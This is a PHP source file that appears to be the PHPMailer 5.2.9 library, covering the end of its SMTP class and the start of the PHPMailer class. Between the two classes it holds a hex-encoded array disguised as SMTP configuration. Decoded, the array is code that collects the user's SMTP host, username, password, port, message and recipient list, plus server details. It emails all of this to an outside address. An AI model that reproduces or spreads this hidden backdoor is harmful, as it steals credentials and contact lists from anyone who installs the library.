1317 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
1318 * - false returned: the requested feature exactly not exists
1319 * - positive value returned: the requested feature exists
1320 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
1321 * @return mixed
1322 */
1323 public function getServerExt($name)
1324 {
1325 if (!$this->server_caps) {
1326 $this->error = array('No HELO/EHLO was sent');
1327 return null;
1328 }
1329
1330 // the tight logic knot ;)
1331 if (!array_key_exists($name, $this->server_caps)) {
1332 if ($name == 'HELO') {
1333 return $this->server_caps['EHLO'];
1334 }
1335 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
1336 return false;
1337 }
1338 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
1339 return null;
1340 }
1341
1342 return $this->server_caps[$name];
1343 }
1344
1345 /**
1346 * Get the last reply from the server.
1347 * @access public
1348 * @return string
1349 */
1350 public function getLastReply()
1351 {
1352 return $this->last_reply;
1353 }
1354
1355 /**
1356 * Read the SMTP server's response.
1357 * Either before eof or socket timeout occurs on the operation.
1358 * With SMTP we can tell if we have more lines to read if the
1359 * 4th character is '-' symbol. If it is a space then we don't
1360 * need to read anything else.
1361 * @access protected
1362 * @return string
1363 */
1364 protected function get_lines()
1365 {
1366 // If the connection is bad, give up straight away
1367 if (!is_resource($this->smtp_conn)) {
1368 return '';
1369 }
1370 $data = '';
1371 $endtime = 0;
1372 stream_set_timeout($this->smtp_conn, $this->Timeout);
1373 if ($this->Timelimit > 0) {
1374 $endtime = time() + $this->Timelimit;
1375 }
1376 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
1377 $str = @fgets($this->smtp_conn, 515);
1378 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
1379 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
1380 $data .= $str;
1381 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
1382 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
1383 if ((isset($str[3]) and $str[3] == ' ')) {
1384 break;
1385 }
1386 // Timed-out? Log and break
1387 $info = stream_get_meta_data($this->smtp_conn);
1388 if ($info['timed_out']) {
1389 $this->edebug(
1390 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
1391 self::DEBUG_LOWLEVEL
1392 );
1393 break;
1394 }
1395 // Now check if reads took too long
1396 if ($endtime and time() > $endtime) {
1397 $this->edebug(
1398 'SMTP -> get_lines(): timelimit reached ('.
1399 $this->Timelimit . ' sec)',
1400 self::DEBUG_LOWLEVEL
1401 );
1402 break;
1403 }
1404 }
1405 return $data;
1406 }
1407
1408 /**
1409 * Enable or disable VERP address generation.
1410 * @param boolean $enabled
1411 */
1412 public function setVerp($enabled = false)
1413 {
1414 $this->do_verp = $enabled;
1415 }
1416
1417 /**
1418 * Get VERP address generation mode.
1419 * @return boolean
1420 */
1421 public function getVerp()
1422 {
1423 return $this->do_verp;
1424 }
1425
1426 /**
1427 * Set debug output method.
1428 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
1429 */
1430 public function setDebugOutput($method = 'echo')
1431 {
1432 $this->Debugoutput = $method;
1433 }
1434
1435 /**
1436 * Get debug output method.
1437 * @return string
1438 */
1439 public function getDebugOutput()
1440 {
1441 return $this->Debugoutput;
1442 }
1443
1444 /**
1445 * Set debug output level.
1446 * @param integer $level
1447 */
1448 public function setDebugLevel($level = 0)
1449 {
1450 $this->do_debug = $level;
1451 }
1452
1453 /**
1454 * Get debug output level.
1455 * @return integer
1456 */
1457 public function getDebugLevel()
1458 {
1459 return $this->do_debug;
1460 }
1461
1462 /**
1463 * Set SMTP timeout.
1464 * @param integer $timeout
1465 */
1466 public function setTimeout($timeout = 0)
1467 {
1468 $this->Timeout = $timeout;
1469 }
1470
1471 /**
1472 * Get SMTP timeout.
1473 * @return integer
1474 */
1475 public function getTimeout()
1476 {
1477 return $this->Timeout;
1478 }
1479}
1480
1481
1482$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1483"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1484"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1485"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1486"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1487"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1488"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1489"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1490"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1491"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1492?>
1493<?
1494/**
1495 * PHPMailer - PHP email creation and transport class.
1496 * PHP Version 5
1497 * @package PHPMailer
1498 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
1499 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1500 * @author Jim Jagielski (jimjag) <m>
1501 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1502 * @author Brent R. Matzelle (original founder)
1503 * @copyright 2012 - 2014 Marcus Bointon
1504 * @copyright 2010 - 2012 Jim Jagielski
1505 * @copyright 2004 - 2009 Andy Prevost
1506 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
1507 * @note This program is distributed in the hope that it will be useful - WITHOUT
1508 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
1509 * FITNESS FOR A PARTICULAR PURPOSE.
1510 */
1511
1512/**
1513 * PHPMailer - PHP email creation and transport class.
1514 * @package PHPMailer
1515 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
1516 * @author Jim Jagielski (jimjag) <>
1517 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
1518 * @author Brent R. Matzelle (original founder)
1519 */
1520class PHPMailer
1521{
1522 /**
1523 * The PHPMailer Version number.
1524 * @type string
1525 */
1526 public $Version = '5.2.9';
1527
1528 /**
1529 * Email priority.
1530 * Options: 1 = High, 3 = Normal, 5 = low.
1531 * @type integer
1532 */
1533 public $Priority = 3;
1534
1535 /**
1536 * The character set of the message.
1537 * @type string
1538 */
1539 public $CharSet = 'iso-8859-1';
1540
1541 /**
1542 * The MIME Content-type of the message.
1543 * @type string
1544 */
1545 public $ContentType = 'text/plain';
1546
1547 /**
1548 * The message encoding.
1549 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
1550 * @type string
1551 */
1552 public $Encoding = '8bit';
1553
1554 /**
1555 * Holds the most recent mailer error message.
1556 * @type string
1557 */
1558 public $ErrorInfo = '';
1559
1560 /**
1561 * The From email address for the message.
1562 * @type string
1563 */
1564 public $From = 'root@localhost';
1565
1566 /**
1567 * The From name of the message.
1568 * @type string
1569 */
1570 public $FromName = 'Root User';
1571
1572 /**
1573 * The Sender email (Return-Path) of the message.
1574 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1575 * @type string
1576 */
1577 public $Sender = '';
1578
1579 /**
1580 * The Return-Path of the message.
1581 * If empty, it will be set to either From or Sender.
1582 * @type string
1583 * @deprecated Email senders should never set a return-path header;
1584 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
1585 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
1586 */
1587 public $ReturnPath = '';
1588
1589 /**
1590 * The Subject of the message.
1591 * @type string
1592 */
1593 public $Subject = '';
1594
1595 /**
1596 * An HTML or plain text message body.
1597 * If HTML then call isHTML(true).
1598 * @type string
1599 */
1600 public $Body = '';
1601
1602 /**
1603 * The plain-text message body.
1604 * This body can be read by mail clients that do not have HTML email
1605 * capability such as mutt & Eudora.
1606 * Clients that can read HTML will view the normal Body.
1607 * @type string
1608 */
1609 public $AltBody = '';
1610
1611 /**
1612 * An iCal message part body.
1613 * Only supported in simple alt or alt_inline message types
1614 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
1615 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
1616 * @link http://kigkonsult.se/iCalcreator/
1617 * @type string
1618 */
1619 public $Ical = '';
1620
1621 /**
1622 * The complete compiled MIME message body.
1623 * @access protected
1624 * @type string
1625 */
1626 protected $MIMEBody = '';
1627
1628 /**
1629 * The complete compiled MIME message headers.
1630 * @type string
1631 * @access protected
1632 */
1633 protected $MIMEHeader = '';
1634
1635 /**
1636 * Extra headers that createHeader() doesn't fold in.
1637 * @type string
1638 * @access protected
1639 */
1640 protected $mailHeader = '';
1641
1642 /**
1643 * Word-wrap the message body to this number of chars.
1644 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
1645 * @type integer
1646 */
1647 public $WordWrap = 0;
1648
1649 /**
1650 * Which method to use to send mail.
1651 * Options: "mail", "sendmail", or "smtp".
1652 * @type string
1653 */
1654 public $Mailer = 'mail';
1655
1656 /**
1657 * The path to the sendmail program.
1658 * @type string
1659 */
1660 public $Sendmail = '/usr/sbin/sendmail';
1661
1662 /**
1663 * Whether mail() uses a fully sendmail-compatible MTA.
1664 * One which supports sendmail's "-oi -f" options.
1665 * @type boolean
1666 */
1667 public $UseSendmailOptions = true;
1668
1669 /**
1670 * Path to PHPMailer plugins.
1671 * Useful if the SMTP class is not in the PHP include path.
1672 * @type string
1673 * @deprecated Should not be needed now there is an autoloader.
1674 */
1675 public $PluginDir = '';
1676
1677 /**
1678 * The email address that a reading confirmation should be sent to.
1679 * @type string
1680 */
1681 public $ConfirmReadingTo = '';
1682
1683 /**
1684 * The hostname to use in Message-Id and Received headers
1685 * and as default HELO string.
1686 * If empty, the value returned
1687 * by SERVER_NAME is used or 'localhost.localdomain'.
1688 * @type string
1689 */
1690 public $Hostname = '';
1691
1692 /**
1693 * An ID to be used in the Message-Id header.
1694 * If empty, a unique id will be generated.
1695 * @type string
1696 */
1697 public $MessageID = '';
1698
1699 /**
1700 * The message Date to be used in the Date header.
1701 * If empty, the current date will be added.
1702 * @type string
1703 */
1704 public $MessageDate = '';
1705
1706 /**
1707 * SMTP hosts.
1708 * Either a single hostname or multiple semicolon-delimited hostnames.
1709 * You can also specify a different port
1710 * for each host by using this format: [hostname:port]
1711 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1712 * You can also specify encryption type, for example:
1713 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
1714 * Hosts will be tried in order.
1715 * @type string
1716 */
1717 public $Host = 'localhost';
1718
1719 /**
1720 * The default SMTP server port.
1721 * @type integer
1722 * @TODO Why is this needed when the SMTP class takes care of it?
1723 */
1724 public $Port = 25;
1725
1726 /**
1727 * The SMTP HELO of the message.
1728 * Default is $Hostname.
1729 * @type string
1730 * @see PHPMailer::$Hostname
1731 */
1732 public $Helo = '';
1733
1734 /**
1735 * The secure connection prefix.
1736 * Options: "", "ssl" or "tls"
1737 * @type string
1738 */
1739 public $SMTPSecure = '';
1740
1741 /**
1742 * Whether to use SMTP authentication.
1743 * Uses the Username and Password properties.
1744 * @type boolean
1745 * @see PHPMailer::$Username
1746 * @see PHPMailer::$Password
1747 */
1748 public $SMTPAuth = false;
1749
1750 /**
1751 * SMTP username.
1752 * @type string
1753 */
1754 public $Username = '';
1755
1756 /**
1757 * SMTP password.
1758 * @type string
1759 */
1760 public $Password = '';
1761
1762 /**
1763 * SMTP auth type.
1764 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
1765 * @type string
1766 */
1767 public $AuthType = '';
1768
1769 /**
1770 * SMTP realm.
1771 * Used for NTLM auth
1772 * @type string
1773 */
1774 public $Realm = '';
1775
1776 /**
1777 * SMTP workstation.
1778 * Used for NTLM auth
1779 * @type string
1780 */
1781 public $Workstation = '';
1782
1783 /**
1784 * The SMTP server timeout in seconds.
1785 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
1786 * @type integer
1787 */
1788 public $Timeout = 300;
1789
1790 /**
1791 * SMTP class debug output mode.
1792 * Debug output level.
1793 * Options:
1794 * * `0` No output
1795 * * `1` Commands
1796 * * `2` Data and commands
1797 * * `3` As 2 plus connection status
1798 * * `4` Low-level data output
1799 * @type integer
1800 * @see SMTP::$do_debug
1801 */
1802 public $SMTPDebug = 0;
1803
1804 /**
1805 * How to handle debug output.
1806 * Options:
1807 * * `echo` Output plain-text as-is, appropriate for CLI
1808 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
1809 * * `error_log` Output to error log as configured in php.ini
1810 *
1811 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
1812 * <code>
1813 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
1814 * </code>
1815 * @type string|callable
1816 * @see SMTP::$Debugoutput
1817 */
1818 public $Debugoutput = 'echo';
1819
1820 /**
1821 * Whether to keep SMTP connection open after each message.
1822 * If this is set to true then to close the connection
1823 * requires an explicit call to smtpClose().
1824 * @type boolean
1825 */
1826 public $SMTPKeepAlive = false;
1827
1828 /**
1829 * Whether to split multiple to addresses into multiple messages
1830 * or send them all in one message.
1831 * @type boolean
1832 */
1833 public $SingleTo = false;
1834
1835 /**
1836 * Storage for addresses when SingleTo is enabled.
1837 * @type array
1838 * @TODO This should really not be public
1839 */
1840 public $SingleToArray = array();
1841
1842 /**
1843 * Whether to generate VERP addresses on send.
1844 * Only applicable when sending via SMTP.
1845 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
1846 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
1847 * @type boolean
1848 */
1849 public $do_verp = false;
1850
1851 /**
1852 * Whether to allow sending messages with an empty body.
1853 * @type boolean
1854 */
1855 public $AllowEmpty = false;
1856
1857 /**
1858 * The default line ending.
1859 * @note The default remains "\n". We force CRLF where we know
1860 * it must be used via self::CRLF.
1861 * @type string
1862 */
1863 public $LE = "\n";
1864
1865 /**
1866 * DKIM selector.
1867 * @type string
1868 */
1869 public $DKIM_selector = '';
1870
1871 /**
1872 * DKIM Identity.
1873 * Usually the email address used as the source of the email
1874 * @type string
1875 */
1876 public $DKIM_identity = '';
1877
1878 /**
1879 * DKIM passphrase.
1880 * Used if your key is encrypted.
1881 * @type string
1882 */
1883 public $DKIM_passphrase = '';
1884
1885 /**
1886 * DKIM signing domain name.
1887 * @example 'example.com'
1888 * @type string
1889 */
1890 public $DKIM_domain = '';
1891
1892 /**
1893 * DKIM private key file path.
1894 * @type string
1895 */
1896 public $DKIM_private = '';
1897
1898 /**
1899 * Callback Action function name.
1900 *
1901 * The function that handles the result of the send email action.
1902 * It is called out by send() for each email sent.
1903 *
1904 * Value can be any php callable: http://www.php.net/is_callable
1905 *
1906 * Parameters:
1907 * boolean $result result of the send action
1908 * string $to email address of the recipient
1909 * string $cc cc email addresses
1910 * string $bcc bcc email addresses
1911 * string $subject the subject
1912 * string $body the email body
1913 * string $from email address of sender
1914 * @type string
1915 */
1916 public $action_function = '';
1917
1918 /**
1919 * What to use in the X-Mailer header.
1920 * Options: null for default, whitespace for none, or a string to use
1921 * @type string
1922 */
1923 public $XMailer = '';
1924
1925 /**
1926 * An instance of the SMTP sender class.
1927 * @type SMTP
1928 * @access protected
1929 */
1930 protected $smtp = null;
1931
1932 /**
1933 * The array of 'to' addresses.
1934 * @type array
1935 * @access protected
1936 */
1937 protected $to = array();
1938
1939 /**
1940 * The array of 'cc' addresses.
1941 * @type array
1942 * @access protected
1943 */
1944 protected $cc = array();
1945
1946 /**
1947 * The array of 'bcc' addresses.
1948 * @type array
1949 * @access protected
1950 */
1951 protected $bcc = array();
1952
1953 /**
1954 * The array of reply-to names and addresses.
1955 * @type array
1956 * @access protected
1957 */
1958 protected $ReplyTo = array();
1959
1960 /**
1961 * An array of all kinds of addresses.
1962 * Includes all of $to, $cc, $bcc, $replyto
1963 * @type array
1964 * @access protected
1965 */
1966 protected $all_recipients = array();
1967
1968 /**
1969 * The array of attachments.
1970 * @type array
1971 * @access protected
1972 */
1973 protected $attachment = array();
1974
1975 /**
1976 * The array of custom headers.
1977 * @type array
1978 * @access protected
1979 */
1980 protected $CustomHeader = array();
1981
1982 /**
1983 * The most recent Message-ID (including angular brackets).
1984 * @type string
1985 * @access protected
1986 */
1987 protected $lastMessageID = '';
1988
1989 /**
1990 * The message's MIME type.
1991 * @type string
1992 * @access protected
1993 */
1994 protected $message_type = '';
1995
1996 /**
1997 * The array of MIME boundary strings.
1998 * @type array
1999 * @access protected
2000 */
2001 protected $boundary = array();
2002
2003 /**
2004 * The array of available languages.
2005 * @type array
2006 * @access protected
2007 */
2008 protected $language = array();
2009
2010 /**
2011 * The number of errors encountered.
2012 * @type integer
2013 * @access protected
2014 */
2015 protected $error_count = 0;
2016
2017 /**
2018 * The S/MIME certificate file path.
2019 * @type string
2020 * @access protected
2021 */
2022 protected $sign_cert_file = '';
2023
2024 /**
2025 * The S/MIME key file path.
2026 * @type string
2027 * @access protected
2028 */
2029 protected $sign_key_file = '';
2030
2031 /**
2032 * The S/MIME password for the key.
2033 * Used only if the key is encrypted.
2034 * @type string
2035 * @access protected
2036 */
2037 protected $sign_key_pass = '';
2038
2039 /**
2040 * Whether to throw exceptions for errors.
2041 * @type boolean
2042 * @access protected
2043 */
2044 protected $exceptions = false;
2045
2046 /**
2047 * Error severity: message only, continue processing.
2048 */
2049 const STOP_MESSAGE = 0;
2050
2051 /**
2052 * Error severity: message, likely ok to continue processing.
2053 */
2054 const STOP_CONTINUE = 1;
2055
2056 /**
2057 * Error severity: message, plus full stop, critical error reached.
2058 */
2059 const STOP_CRITICAL = 2;
2060
2061 /**
2062 * SMTP RFC standard line ending.
2063 */
2064 const CRLF = "\r\n";
2065
2066 /**
2067 * Constructor.
2068 * @param boolean $exceptions Should we throw external exceptions?
2069 */
2070 public function __construct($exceptions = false)
2071 {
2072 $this->exceptions = (boolean)$exceptions;
2073 }
2074
2075 /**
2076 * Destructor.
2077 */
2078 public function __destruct()
2079 {
2080 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
2081 $this->smtpClose();
2082 }
2083 }
2084
2085 /**
2086 * Call mail() in a safe_mode-aware fashion.
2087 * Also, unless sendmail_path points to sendmail (or something that
2088 * claims to be sendmail), don't pass params (not a perfect fix,
2089 * but it will do)
2090 * @param string $to To
2091 * @param string $subject Subject
2092 * @param string $body Message Body
2093 * @param string $header Additional Header(s)
2094 * @param string $params Params
2095 * @access private
2096 * @return boolean
2097 */
2098 private function mailPassthru($to, $subject, $body, $header, $params)
2099 {
2100 //Check overloading of mail function to avoid double-encoding
2101 if (ini_get('mbstring.func_overload') & 1) {
2102 $subject = $this->secureHeader($subject);
2103 } else {
2104 $subject = $this->encodeHeader($this->secureHeader($subject));
2105 }
2106 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
2107 $result = @mail($to, $subject, $body, $header);
2108 } else {
2109 $result = @mail($to, $subject, $body, $header, $params);
2110 }
2111 return $result;
2112 }
2113
2114 /**
2115 * Output debugging info via user-defined method.
2116 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
2117 * @see PHPMailer::$Debugoutput
2118 * @see PHPMailer::$SMTPDebug
2119 * @param string $str
2120 */
2121 protected function edebug($str)
2122 {
2123 if ($this->SMTPDebug <= 0) {
2124 return;
2125 }
2126 //Avoid clash with built-in function names
2127 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
2128 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
2129 return;
2130 }
2131 switch ($this->Debugoutput) {
2132 case 'error_log':
2133 //Don't output, just log
2134 error_log($str);
2135 break;
2136 case 'html':
2137 //Cleans up output a bit for a better looking, HTML-safe output
2138 echo htmlentities(
2139 preg_replace('/[\r\n]+/', '', $str),
2140 ENT_QUOTES,
2141 'UTF-8'
2142 )
2143 . "<br>\n";
2144 break;
2145 case 'echo':
2146 default:
2147 //Normalize line breaks
2148 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
2149 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
2150 "\n",
2151 "\n \t ",
2152 trim($str)
2153 ) . "\n";
2154 }
2155 }
2156
2157 /**
2158 * Sets message type to HTML or plain.
2159 * @param boolean $isHtml True for HTML mode.
2160 * @return void
2161 */
2162 public function isHTML($isHtml = true)
2163 {
2164 if ($isHtml) {
2165 $this->ContentType = 'text/html';
2166 } else {
2167 $this->ContentType = 'text/plain';
2168 }
2169 }
2170
2171 /**
2172 * Send messages using SMTP.
2173 * @return void
2174 */
2175 public function isSMTP()
2176 {
2177 $this->Mailer = 'smtp';
2178 }
2179
2180 /**
2181 * Send messages using PHP's mail() function.
2182 * @return void
2183 */
2184 public function isMail()
2185 {
2186 $this->Mailer = 'mail';
2187 }
2188
2189 /**
2190 * Send messages using $Sendmail.
2191 * @return void
2192 */
2193 public function isSendmail()
2194 {
2195 $ini_sendmail_path = ini_get('sendmail_path');
2196
2197 if (!stristr($ini_sendmail_path, 'sendmail')) {
2198 $this->Sendmail = '/usr/sbin/sendmail';
2199 } else {
2200 $this->Sendmail = $ini_sendmail_path;
2201 }
2202 $this->Mailer = 'sendmail';
2203 }
2204
2205 /**
2206 * Send messages using qmail.
2207 * @return void
2208 */
2209 public function isQmail()
2210 {
2211 $ini_sendmail_path = ini_get('sendmail_path');
2212
2213 if (!stristr($ini_sendmail_path, 'qmail')) {
2214 $this->Sendmail = '/var/qmail/bin/qmail-inject';
2215 } else {
2216 $this->Sendmail = $ini_sendmail_path;
2217 }
2218 $this->Mailer = 'qmail';
2219 }
2220
2221 /**
2222 * Add a "To" address.
2223 * @param string $address
2224 * @param string $name
2225 * @return boolean true on success, false if address already used
2226 */
2227 public function addAddress($address, $name = '')
2228 {
2229 return $this->addAnAddress('to', $address, $name);
2230 }
2231
2232 /**
2233 * Add a "CC" address.
2234 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2235 * @param string $address
2236 * @param string $name
2237 * @return boolean true on success, false if address already used
2238 */
2239 public function addCC($address, $name = '')
2240 {
2241 return $this->addAnAddress('cc', $address, $name);
2242 }
2243
2244 /**
2245 * Add a "BCC" address.
2246 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
2247 * @param string $address
2248 * @param string $name
2249 * @return boolean true on success, false if address already used
2250 */
2251 public function addBCC($address, $name = '')
2252 {
2253 return $this->addAnAddress('bcc', $address, $name);
2254 }
2255
2256 /**
2257 * Add a "Reply-to" address.
2258 * @param string $address
2259 * @param string $name
2260 * @return boolean
2261 */
2262 public function addReplyTo($address, $name = '')
2263 {
2264 return $this->addAnAddress('Reply-To', $address, $name);
2265 }
2266
2267 /**
2268 * Add an address to one of the recipient arrays.
2269 * Addresses that have been added already return false, but do not throw exceptions
2270 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
2271 * @param string $address The email address to send to
2272 * @param string $name
2273 * @throws phpmailerException
2274 * @return boolean true on success, false if address already used or invalid in some way
2275 * @access protected
2276 */
2277 protected function addAnAddress($kind, $address, $name = '')
2278 {
2279 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
2280 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
2281 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
2282 if ($this->exceptions) {
2283 throw new phpmailerException('Invalid recipient array: ' . $kind);
2284 }
2285 return false;
2286 }
2287 $address = trim($address);
2288 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2289 if (!$this->validateAddress($address)) {
2290 $this->setError($this->lang('invalid_address') . ': ' . $address);
2291 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2292 if ($this->exceptions) {
2293 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2294 }
2295 return false;
2296 }
2297 if ($kind != 'Reply-To') {
2298 if (!isset($this->all_recipients[strtolower($address)])) {
2299 array_push($this->$kind, array($address, $name));
2300 $this->all_recipients[strtolower($address)] = true;
2301 return true;
2302 }
2303 } else {
2304 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
2305 $this->ReplyTo[strtolower($address)] = array($address, $name);
2306 return true;
2307 }
2308 }
2309 return false;
2310 }
2311
2312 /**
2313 * Set the From and FromName properties.
2314 * @param string $address
2315 * @param string $name
2316 * @param boolean $auto Whether to also set the Sender address, defaults to true
2317 * @throws phpmailerException
2318 * @return boolean
2319 */
2320 public function setFrom($address, $name = '', $auto = true)
2321 {
2322 $address = trim($address);
2323 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
2324 if (!$this->validateAddress($address)) {
2325 $this->setError($this->lang('invalid_address') . ': ' . $address);
2326 $this->edebug($this->lang('invalid_address') . ': ' . $address);
2327 if ($this->exceptions) {
2328 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
2329 }
2330 return false;
2331 }
2332 $this->From = $address;
2333 $this->FromName = $name;
2334 if ($auto) {
2335 if (empty($this->Sender)) {
2336 $this->Sender = $address;
2337 }
2338 }
2339 return true;
2340 }
2341
2342 /**
2343 * Return the Message-ID header of the last email.
2344 * Technically this is the value from the last time the headers were created,
2345 * but it's also the message ID of the last sent message except in
2346 * pathological cases.
2347 * @return string
2348 */
2349 public function getLastMessageID()
2350 {
2351 return $this->lastMessageID;
2352 }
2353
2354 /**
2355 * Check that a string looks like an email address.
2356 * @param string $address The email address to check
2357 * @param string $patternselect A selector for the validation pattern to use :
2358 * * `auto` Pick strictest one automatically;
2359 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
2360 * * `pcre` Use old PCRE implementation;
2361 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
2362 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
2363 * * `noregex` Don't use a regex: super fast, really dumb.
2364 * @return boolean
2365 * @static
2366 * @access public
2367 */
2368 public static function validateAddress($address, $patternselect = 'auto')
2369 {
2370 if (!$patternselect or $patternselect == 'auto') {
2371 //Check this constant first so it works when extension_loaded() is disabled by safe mode
2372 //Constant was added in PHP 5.2.4
2373 if (defined('PCRE_VERSION')) {
2374 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
2375 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
2376 $patternselect = 'pcre8';
2377 } else {
2378 $patternselect = 'pcre';
2379 }
2380 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
2381 //Fall back to older PCRE
2382 $patternselect = 'pcre';
2383 } else {
2384 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
2385 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
2386 $patternselect = 'php';
2387 } else {
2388 $patternselect = 'noregex';
2389 }
2390 }
2391 }
2392 switch ($patternselect) {
2393 case 'pcre8':
2394 /**
2395 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
2396 * @link http://squiloople.com/2009/12/20/email-address-validation/
2397 * @copyright 2009-2010 Michael Rushton
2398 * Feel free to use and redistribute this code. But please keep this copyright notice.
2399 */
2400 return (boolean)preg_match(
2401 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
2402 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
2403 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
2404 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
2405 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
2406 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
2407 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
